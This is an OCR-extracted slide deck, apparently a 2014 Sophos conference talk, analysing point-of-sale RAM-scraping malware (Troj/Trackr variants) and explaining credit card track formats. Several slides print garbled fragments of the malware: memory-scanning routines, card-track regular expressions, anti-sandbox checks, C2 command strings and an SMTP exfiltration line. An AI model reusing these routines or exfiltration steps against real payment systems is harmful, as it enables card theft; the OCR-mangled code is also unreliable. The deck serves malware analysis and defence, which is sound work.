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Who are we?

nakedsecurity
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Point of sale, PCIl and criminals
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PCI-DSS

+ Set of requirements designed to ensure that merchants process,
store or transmit credit card in a secure environment.

+ Credit card data must be encrypted if it is stored.

+ Credit card data must be encrypted when transmitted.

+ The data is briefly in plain-text in volatile memory (RAM).
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Years in the making

+ 2009 + 2010

A study conducted by the Verizon Business RISK Team

2009 Data Breach Investigations k d S e C t
Supplemental Report \_— n a e u rl
Anatomy of a Data Breach verizonbusiness ing new on, advios and res rom SOPHOS

malware mac facebook android vulnerability dataloss privacy more

14. RAM scraper

RAM scrapers are a fairly new form of malware designed to capture data from volatile memory (RAM)

Description within a system.

Types / Variations Difficult to classify types as the functionality is rather new. 4 FTC settles with Facebook, alleges pr... Manila AT&T hackers tied to terrorist a..
Frequency Factor in 4% of breaches in caseload

Impact (data loss) | Factorin 9% of ecords compromised incaseload Targeted attacks steal credit cards from
Associated Industry | To date, mainly observed in the Retail and Hospitality industries. hospltality and ed ucational institutions

SOPHOS ;
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Sensitive Cardholder Data

Types of Data on a Payment Card

i CAVZICIDACWC 202
{American Express) (Discowver, JOB, MasterCard, Visa)

CI'IIFI Wi Ve U SN )

{data on magnetic -3
stripe image| E:
PAN 0000 00071 2345 B783

o2/07 Oo2/s10
MY CREDIT CARD

Expiration Date Magnetic Stripe
[data on tracks 1 & )

o https://lwww.pcisecuritystandards.org/smb/why_secure.html

SOPHOS
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Magnetic Tracks

1 T T /_ 0.233 Recording Density Character Configuration ~Information Content \
e A0E jﬂ‘; (hits per inch) {including parity bit) (including control characters)
l ATA 210 BPI 7 Bits per Character 79 Alphanumeric Characters
Track 2 B ABA 75 BPl 5 Bits per Character 40 Numeric Characters
x CR THRIFT 210 BPI 5 Bits per Character 107 Numeric Characters

o Source: http://www.q-card.com/support/magnetic-stripe-card-standards.asp

SOPHOS
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Track 1 Format

k2

76 Alphanumeric data characters .
L]
NAME ADDITIONAL DATA | DISCRETIONARY DATA JZJLRC]
Mo. of Mo. of .
Mame Characters Characters
(26 alphanumeric Expiration Date (YYMM) 4 1
characters Max.)
Service Code 3 : : 4

figlds may be found within
the Discretionary Data

v

Shaded area identifies control characters “(PVEI} PIN Verification Key Indicator
m S S inel o IEI £ Cod *{PYW) PIN Verification Value
tart sentine ’ ormat Code TV Card Verification Value
[ Field Separator Longitudinal Redundancy *{CVE) Card Validation Code
Check Character

B3 end sentinel 2

o Source: http://www.g-card.com/support/magnetic-stripe-card-standards.asp

SOPHOS ;
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Track 1 Example

Card holder : L. PADILLA
Card number*: 1234 5678 9012 3445
Expiration : 01/99

%B1234567890123445"PADILLAAL. ~990112000000000000000 * )N ¥+ k4 7k

|| Hcard number] || fCard holder | | | Rcvvsdl || LRC
|| _ FOFrmat code | Field separator | | |  End sentinel
- - g |

I
|
|  Start sentinel Fle chmidmie | | | Discretionary data
|  Service code

o http://www.gae.ucm.es/~padilla/extrawork/magexaml.html

SOPHOS :
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Track 2 Format

ot 37 Numeric data characters

k i

L
L] L]
SS PAN Fs| ADDITIONAL DATA DISCRETIONARY DATA J3JLRC]
. _ No. of No. of .
Primary ACcount No. Characters Characters
» service Gode 3 “PYY DR Dffset 4
CWW OR *CVC| 3

aome or all of the above
fields may be found within
the Discretionary Data

Shaded area identifies control characters
B start Sentinel  HexB [ES] End Sentinel HexF ?

Longitudinal Redundancy
Check Character

o Source: http://www.g-card.com/support/magnetic-stripe-card-standards.asp

SOPHOS 10

E Field Separator HexD =

*(PVEI} PIN Verification Key Indicator
*[PYV) PIN Vierification Value

SCW) Card Verification Value
*(CVC) Card Validation Code

v
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Track 2 Example

Card holder : L. PADILLA
Card number*: 1234 5678 9012 3445
Expiration : 01/99

;12345678001 23445=00011 200X XX X00000000 7+

FaTN FaTN FaTN

I GETEd 11 Fenerypred] L

| Start sentinel]| | P T [ _ End sentinel
| | = = code

Field separator _| |

o http://www.gae.ucm.es/~padilla/extrawork/magexaml.html

SOPHOS o
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Stolen. Now what?

+ Track 1 & 2 data can be used to duplicate a Credit Card.

+ Stolen card data is usually bought & sold in batches to the highest
bidder typically in other countries.

+ Cards are sometimes used to buy gift cards which are redeemed for
money in order to reduce usage of the card.

lll\_:""'m
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Troj/Trackr-*

+ Umbrella detection name for all PoS RAM scraping malware detected
by SophosLabs.

+ Includes: Alina, Dexter, VSkimmer, Kaptoxa, Chewbacca, etc.

+ In a nutshell Troj/Trackr-* steals payment data from the RAM of PoS
systems.

+ Installs on a backend Credit Card processing server/system.
e
> T
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Troj/Trackr-* variants

+ Basic version (not packed, only scrapes RAM).

+ Complex version (adds socially-engineered filenames, network
functionality, bots, packed etc.)

+ Installed DLL version (the DLL is registered as a service and
performs the RAM scraping).

+ Multi-component

W omsc
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Troj/Trackr-* installation

+ Social Engineering? Phish? Exploits? Inside job?

]ﬁ YourProductName MSIBuilder |

+ GPO/SCCM?

Welcome to the
YourProductName MEIBuilder

The M3aIBuilder will install YourProductMame on vour computer,
Click, Mesxt to continue or Cancel to exit the MSIBuilder,

Preyious | :

Canicel | g
{
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Troj/Trackr-* cogs & wheels

05 Co 35 40 00+ Mo pe.
oo push i

th2zProcessID

push o ; dwProcessId

push ; bInheritHandle
oo push 4 : dwDesiredaccess
40 00 call

(=i %, [ebp+hsnapshot]
push ; hsnapshot
oo oo call ] I2Mext

test

25 4C FE FF FF inz

SOPHOS 16

100 Mo

T
P
o

F& 10 40 Qo

&l 23 00 00

push
call

bpthsnapshot
~j hsnapshot
s32First

push
call

ehp+1pEUTTer],
[ebp+HUm

[ebp+ns

: hProcess
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Troj/Trackr-* cogs & wheels

align 1oh
oo+ dd OFFFFFFFFh, 70h
29+a[[h9309{1319}AA2a25{D3D}A2a25{uzu]A[D?9 dbh '((b|EI[0-2]{13, 19} *[A-ZFa-z%5] {0,320} [A-Za-z45] {0,320}~ (0[7-2] 1"
; DATA *REF: sub_417655+12E10
?D+ db '[0-513((0[1-3])](1[0-2]))[0-345] (3,501 [0-3] {1})',0
aliagn 4
ao+ dd OFFFFFFFFh, =5
cd4+aFounditrackly db Found [Trackll: P10
B3+ Uub_417s53+17F10
oo y SUb_41l7e55+22410
align 4
oo+ dd OFFFFFFFFh, 3cCh
50+a[09{1515}[0?9105]([0193[1023309{830}3 dbh '([0-9]{15,16}=(0[7-9]|1[0-5]0CCo[1-9]0|(1[0-2]1210[0-2]{&8,30}11",0
FE+ y DAaTA =REF: sub_ 41?658+EEBID
align 1oh
oo+ dd OFFFFFFFFh, T
c4+aFounditrackz] db Found [(Trackzl: ||,0
£33+ Sl sub_417esE+zDC 10
oo H suh 41?658+3811D
aliagn 4

db i
E0+alos{1313}(122) (019102702 {350}17) db '([0-2]{13,13}=(1[2-2]0(0[1-2] |1[0-2]0[0-9]{3,50}=2]",0
39+ ; DAaTa *REF: sub_444aF0+A2100
oo+ align 10h
dz+al (®PEDI09 {1319} eZams{0zetaZazs {026~ db '((®F[ER]I[0-2] {13, 18} A [Aa-Za-zns5] {0, 26} f[Aa-Ta-z5s] {0, za A 1[z-2]"
20+ ; DATA *REF: sub_d444AF0+&010
2C+ db "aCo[1-2] |1[0-2]10[0-5%5]{3,501%7]",0
db 0

B e
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Troj/Trackr-* cogs & wheels

Sub sMemoryFind ()
On Error Eesume MNext
Dim hProcess As Long, TpMem &s Long, ret As Long, 1LenMBI As Long, sBuffer As String, 51 As SYSTEM_IWFG, mh
Dim oRegExp As ReqExp, aMatches As MatchCollection, item As Match, hSnap As Long, Pe3Z As PROCESSENTEY3IZ
Dim sExe As String, Fata As String, 1File As Integer, Spate As String, sbinie As String

hznap = CreateToolhelp3zsnapshot(THIZCS_SHAPALL, O&)
Pedz.dwiize = LenB(PedZz)

Do wWhile Process3ZHext({hznap, Pedz)
sExe = TrimMull{Pe3z.szExeFile)

IT Pe32.th3izProcessID «» GetZurrentProcessId Then
If sExe < "sSystem' Or sExe <» "swchost.exe" Or sExe <» "cCsrss.exe' Or sExe < "wininit.exe" Then

hProcess = OpenProcess{PROCESS_READ_WRITE_QUERY, False, Pe3z2.th3z2ProcessID)
TLenMEI = Lenimbi)

GetsystemInfo 51

TpMem = Si.1pMinimumspplicationAddress

Set oRegExp = New REegExp
oReqExp.IgnoreCase = False
afeqExp.Global = True

oRegExp.Pattern = "“d{13,193="d{7 P 7"
'oRegExp.Pattern = ";%d{13, 193=*d {7 =T

RSACONFERENCE2014




Troj/Trackr-* cogs & wheels

It
Nex

It
If

For

leagra) To UBoundd
(1) Then: Luhn =

Len{sHR) =< 12 Luhbn
Len(sHR) =

1 =1 To Len(sHE]

If 1:udd|1|
sDub

It
=T -
sk

End

SOPHOS

‘Dub]ar
M1d|1

5Duh11r- = s

If

19

Meagra)

Exit Function

tion
tion
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Troj/Trackr-* cogs & wheels

Sub sAnti () )
Dim aD11s({2) As String, aHDDs(4) As String, bFound As Boolean, ThEey As Long,

ab11s{0) = "ShieD11.d11"
abl11s(13 "dbghelp.dl1"
ab11s{2) "LOG_APIZZ.DLL"

aHDDs (2
aHDD=(1])
aHboD = '.. ‘J|

aHDDs (3 )
aHoDs {-4 'jl

MEYMWARE L
" 1:_-|__||_Er,'| L ; e I Tl =10

LSTOR_TECHNDLOGY_*" QJCwWsandbox mwanalysis.org

If App.ExXEMame = "sample" Then bFound = True Jcamas.comodo. coms

= :E+E rorMode (10247
ZE O Then bFound = True

SOPHOS x ( srconverencezon



Troj/Trackr-* cogs & wheels

[ | B S R ) Fyindr Qe P U e

ignorable_processes_11is t

achrome_g
AL B R

SOPHOS 21
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Troj/Trackr-* cogs & wheels

! 59+a_hech1n dhb

—— —
o0 agsval_o db ! , i DATA *REF: conmands_receiwed+7sio

sed+z3l1o
align 1Hh
ar_z db ‘'awvar=
align 4
Fa+abetectshutdowncl a SshutdownClass ', 0
H ; Dow
eF+abownload db

wEF: commands_received:loc_

commands_receiwed+lE210 ...

align 4
; char aUpdi 2L
e5+alpdate db || update-"'/0

commands_receiwe

[ X |

hecb11"

char a hH

2CceivedsToc

cummnndr _rece wEd+EL1u .
align 4
char ascaiing]
1 — 1 - o - —_— - — e
6E+ascanin db [scanmin:,0 ; DA *REF: commands_receiwved:loc
ands_receiwed+13E10 ...
y char alnins tae g
F4+alninstall db [uninstall

ands_receiwved:Toc_

wed+1lC01o

22

40SEFD10

_40505010

_ 40500z 10

405EG4 10

B A
W wrsac
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Troj/Trackr-* cogs & wheels

[BEOT_EMGIME]R BobZreateMutesx - CreateMutex Failed with LastError; Ox%:08x \n
[BOT_EMGIME]R ERROR. - Failed to alloc lpPath yn
[EOT_EMGIME]R ERROR. - SHGetFolderPathiy Failed ko obtain appdata dir \n
[EQT_EMGIME]R INFO - Created MUTER: 1"3%s1" \n
[BOT_HTTP] - HEtpOpenRequest Failed with error: Ox%08x \n
[BOT_HTTP] - HEtpQueryInfo Failed with errors Ox%:08x \n
[BOT_HTTP] - HEtpSendRequest Failed with error: Ox%a08x \n
[BOT_HTTP] - IBternetConnect Failed with error: Ox%08x \n
[BOT_HTTP] - IBternetOpen Failed with error: 0x%:08:x \n
' _ERROR, - Exception occured in CryptData \n

SOPHOS 23
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Troj/Trackr-* cogs & wheels

push uTTrHT 1_uftwaremicrasuftWindﬂwscurrenthF51DnF i M softwares M crosafts Wi ndows s Zurrentye' .,
push
call
purh

ap+chbDatal,
[ebp+c ko

purh
push
push
push
push
Mo

push
call

iy

m o o=

’——’

SOPHOS - -
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Troj/Trackr-* exfiltration

If Len{sLocal) » 19 Then sLG = sLG & sLocal

InternetOpens("Decebalw1.0", O, wbNullString, wbNullString, O

bl

.E :-"'FI';_-IEEI.[:lhr:l'?':':T.-l:l:l=" &

1 a
N
..-I .al s

Function sG
Cim abiwWMIser,
et objwWMIService = 11 M) e ——— SRR S— wSecurityCenter')
. ' Juerf@'select * from AntivirusProduct')
= & n 1

MY sGetAV = "Hope"

SO P H OS o5 W msc

RSACONFERENCE2014



Troj/Trackr-* exfiltration

arne {1

L

WY

Mext
End Function

26

w("SELECT * FROM Win32

_Proi
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Troj/Trackr-* exfiltration

; char a_sInfo_s
4a+amsInfoxs (JStarted db "=
Z0+ :

align 10h

;s char a_sInfoSendingReportPacket_Size_dDwcH
4o+axsIntfosendingreportPacket_SizexdDwcntxd db | s - INFO - Sending report packet.

z0+ :
align 4

2F+aHttplos_FS_176_g3FoarumPost_php db [ |http: A,
; char a sInfosendreporttopane] 5
4a+axsInftosendreporttopane] [JBresxs db '#s - IWFO - SendrReportToFanel () bRes=s

0+ :
align 4

4C+axsErrorFailedToFreparerFacket db ‘s

20+ :

__Started[]

- IMFO - %51 started ',04&h,0
0DATA =REF: sub_404ZE0+1110

| .
5 ze=kd dwint=

DAaTe =*REF: _sub dnd

foarumspost.php',0

N -1

Laah, 0
DATA =REF: sub_d404ZEB0+5510

- ERROR - failed to prepare packet ',
sub_4042E0+8a810

0ah, O
DATa REF:

; char a_sInannDataﬁva11ah1e[]

49+axsIntoMoDatasvailable dh
20+
ce9+alnvalidstringrosition dh
65+ ;
73+
&F+astringTooLong db

!
'string
5C+ ;

55+aﬁhcdefgh1Jk]mnnpqrstuummyzahcdefgh1Jk ] dE-:

aC+ :
align 4

off_411228 dd offset

H

H

dd offset unk_4114C8

SOPHOS

'ms — INFO - no data awvailable
DATA *REF: sub_4042B0+BE10
"invalid string position',n
DATA =REF: sub_404570+1310
sub_404510+1110

too long',0

0ATA =REF: sub_4042Z0+7010
sub_404450+5410

', 0sh,0

abcdetghi jkTmnopgrs tuvnxwzaBCOEFGHIJKLMHNOPOR ST

DATA =REF: sub_404CE0+1810

DestructExceptionobject

DATA =REF: __ _except_handlerd+Eair

_except_handler4+F310

RSACONFERENCE2014



Troj/Trackr-* exfiltration

. Egmail .com-t -u tls=yes -s smtp.gmail.com:
Egmail .com @xp -u “Resultz” -m "Hi Buddy" -a output._txt
del output.txt

goto start

SOPHOS 28 o=
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Troj/Trackr-* exflltratlon

I:Itl b= n:mn:l ST net

FF FF+dbl
oo DD+db1_

o0 40+dhbl

an 4
ar.ans fe nmp1wr[]
nplet db 'ransT

s Sub_

DAy
sub_40
y char aw[]
aw db 'w',0

align

String_Nul1[]
ing!Nu1l db 'string = WULL'

sub_40z2E&
O+40110

sub_d40zE&0+24210
+320F 10

0+1FE1OD

sub_402B&0+1EF 10

+3 7010

d.t=t',0

sprintf+3Cio

29

b

*1+1EE10
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Anatomy of an Attack

+ Majority attacks observed are multi-component.

+ Regular Admin tools (or PUAS) may be used to traverse/map the
network as well as ex-filtrate data.

+ The RAM scraper most likely will be a small component.

+ We now look into a PoS RAM scraper attack that we saw against a

hotel:
,fP——’

|
e E‘ gﬁ' #RSAC
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Anatomy of an Attack

a5 +abeTMemdump_dmpNulzNul db 'del memdumps . dmp =HUOL 2=HUL', 0
EC+ o DATA REF: _main:loc_4011FF 10
s char bwte_40F2Ee&
byte_40F2Es db 0O s DATA *REF: dump_memary:loc_401lz2CAla
; char aPid_s_dmp[]
FI+aPidxs_dmp db 'pid-%s.dmp',0 ;3 DATA =REF: dump_memory+EF 10
sy Char asc_40P@ e
&E+asc_40F3Fz db||'Dumping priwvate memory Tor pid %5 to %s.dmp...',08h,0
T+ s OaTa wREE s dAumin memcrese TR 1o
3y char abone_[]
0A+abone! db 'Done! ', 0ah,0 5 DATA *REF: dump_memory+lz41o
y Char abone__0[]
OA+abone!_0 db 'Done!',0&h,0 ; DATA =REF: dump_memory+l4S1o
&S +afProcessMemoryDumper db 2, 'Frocess Memory Dumper ', 04k, 0
20+aMadeBywDi ablohorniproudmemberd T AT eprees o - =
20+alseasMemdump_exedptionsPid db 2,9,/ |Use as: memdump.exe -<options> [FID]',0ah,0
e9+a0ptions db 2,9, '0Options: ', 0&kh,0
20+a?showThisHelp db 2,2,9,'-7 = Shaw this hHeln' 04k, 0
20+aLlistallrunningProcesses db 2,2,9,[-1 = L1sT all FUnfiing processes  ,daf, o
20+asshowInfodnFrocessLikerath db 2,9,0), '-5 = show info on FProcess Tike Fath',08h,0
20+aFDumpPrivateProcessMemoryByPid db [1,2,9,'-T = Dump priwvate process memory by PIOD',08R0,0
20+aFFul1Privateoumpd AT TRUNAI ngFrocesfles db 2,2,2, '-T = Full priwvate dump of all running processes ', 04k,
y char format[]
48+format db 'Hs',5,'[(PID: %u)',%, 'Hex: &<n’',0AR,0
29+ ; DATA ®REF: open_process+eslao
20+aEnterProcessId db 'Enter Process Id: ', 0
awd_o db 'w=d',0
eS+aModulesnapshotFailed db 'Module Snapshot Failed',0&ah,0
cC+aModulesnapshotsucceeded db 'Module Snapshot succeeded',08h,0
FZ+acatheringModuleInformationFailed db 'Gathering Module information failed',0ah,0

RSACONFERENCE2014




Anatomy of an Attack

sub_4014ES
OD+&lo
dy 'i L0 ) _mairk3
aremowe dhbl '
abebug db
: Char
T4+ Tormat
& db k
: Char

&0+aThisMayTal seconds.

iceName[ ]
db 'He
ta

SourceName[ ]
ourceMame db 'Hetwork Locati

FF FF call W 47143F

add [y LI
40 push £ cammand ;3 "start min algswr.
ano

40 astartMinrdp y 'start smin rdp
an

int3z *

SOPHOS =
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Anatomy of an Attack

anttime]) ;

j E Alp-ZFa-zws0-97{0, 307 A-Za-z4s0-9740, 30 A0 [F-9] |1 [D
i

A1 [1[0-5]) (0 [1-900 | (1 [0-2]0) [0-9]{

&r ecu
print

fmonitoring=1 if fmonita
sleep $:-'|EE'|1:1'mE:

for (my my $7 = 03 $ie 'Iwrn:l"'h"-f_["]..'- i, 33+1) o
11- | i |:|1'h|$_[1:|.a| .: "-

SOPHOS -
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Who does PoS malware target?

+ Anyone with a

o http://www.xylibox.com/2012/03/pos-carding.html
SOPHOS s
= RSACONFERENCE2014



Who has been victimized by Card Data Theft?

PAYMENT SYSTEMS®

" l(?ﬁ] Heartland JetBlue

EI.E\IEII

@ menney 'F.lma”(
SOPHOS . ﬁ



Who does Troj/Trackr-* target?

Troj/Trackr-* infections by Industry in 2013

Chafitgertainment
1% _ 1% Religious

. Statistics collected using Sophos Live Protection

SOPHOS -
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Where does Troj/Trackr-* strike?

Troj/Trackr-* infection by Country in 2013 Australia

4%

Hong Kong

South Africa
0% Zealand

Thailand
0%

. Statistics collected using Sophos Live Protection

SOPHOS s
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Popular filenames

sauwpEEItsap

sdunpe=edif 2
Snaljawod s
=T gEuoww B
=~ enelsuey) -
S )08yonfE

““auodoJp
E Euajoodspd

=3
£ =5
£ Japealdsyomjau
£ [emaaum

o Yseljaqope
|[EM3d1jSMopuIm

E_m%.___%w__%._

._'.: #RSAC

~ma———
SACONFERENCE2014
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Troj/Trackr-* Industrialization

SOPHOS

| - Infogtealer. Vskim -

Reqistry persistence: |S OF TWARE \Microsoftswindows\Currentersions P un

K.y name; |PCI Campliant SCard
[P |Hei$tenber9233?
Gate path: : |.-“a|:ui.-"prucess.ph|:u?>-:}'=

Flazhdrve name:

KARTOA007

Logs filename: drnpz.log

Mame: Isvchust

|svchust.e:-:e

Fiun in Admin mode
Select the zhub and Build.
W aiting. .

Build

About

Exit

40
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Troj/Trackr-* Industrialization

o

fi malware.¥iR

0002eZ200 000Z26200|0000 0000 0000 0000 0000 0000 0000 0000 | ......ceeaunn... ]
000zZeZ10 000ZR210|0000 0000 OOO00 0000 0000 0000 0000 0000 |........ccae.....
00026220 | (8 000262200000 0000 OOOO0 000C 0000 0000 0000 0000 |................
00026230 | 000ZR230|0000 0000 OOO00 0000 0000 0000 0000 0000 |........ccau.....
00026240 ([ 00026240 |0000 0000 OOO0 0000 0000 0000 0000 0000 ... eannnns
00026250 000262500000 0000 0000 0000 0000 0000 0000 0000 |........ccae.....
000z2eZ60 000ZR260|0000 0000 OOO00 0000 0000 0000 0000 0000 |......ceeeunnnnn
00026270 000262700000 0000 OOO00 0000 0000 0000 0000 0000 |........cc0e.....
00026250 000Z2R250|0000 0000 OOO00 0000 0000 0000 0000 0000 |........ccae.....
00026290 |4 5 A g e 000262900000 0000 OOO00 0000 0000 0000 0000 0000 |........cca.....
000ZRZA0 |[§ 4 0o 00 o1 1d o 000ZRZA0|0000 0000 OOO0 0000 0000 0000 0000 0000 |........cc0e.....
000262B0 | (e 0 0 0 oof OM. 000Z262B0|0000 0000 OOO00 0000 0000 0000 0000 0000 |........ ...,
00026ZC0 | ER:EE=y 4F58 30 7 IMEAE d...... 000ZR2C0O| 0000 0000 0000 0000 0000 0000 0000 0000 |........ccau.....
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Troj/Trackr-* Management System
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Remediation

+ Strong Passwords — change defaults
+ Updated PoS applications

+ Updated/Patched OS

+ Install a Firewall

+ Use Antivirus

+ No remote access

+ Restrict access to Internet
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Remediation

+ Updated PCI-DSS standards?

CVCi yuay
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Questions?

RSA
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Voice of CONFERENCE
Rt 2 01 I
Latest news http://nakedsecurity. sophos.com
Come see us at booth
Podcasts hitp://podcasts. sophos.com

2701

Educational Videos  http://mwww. youtube.com/SophosLabs
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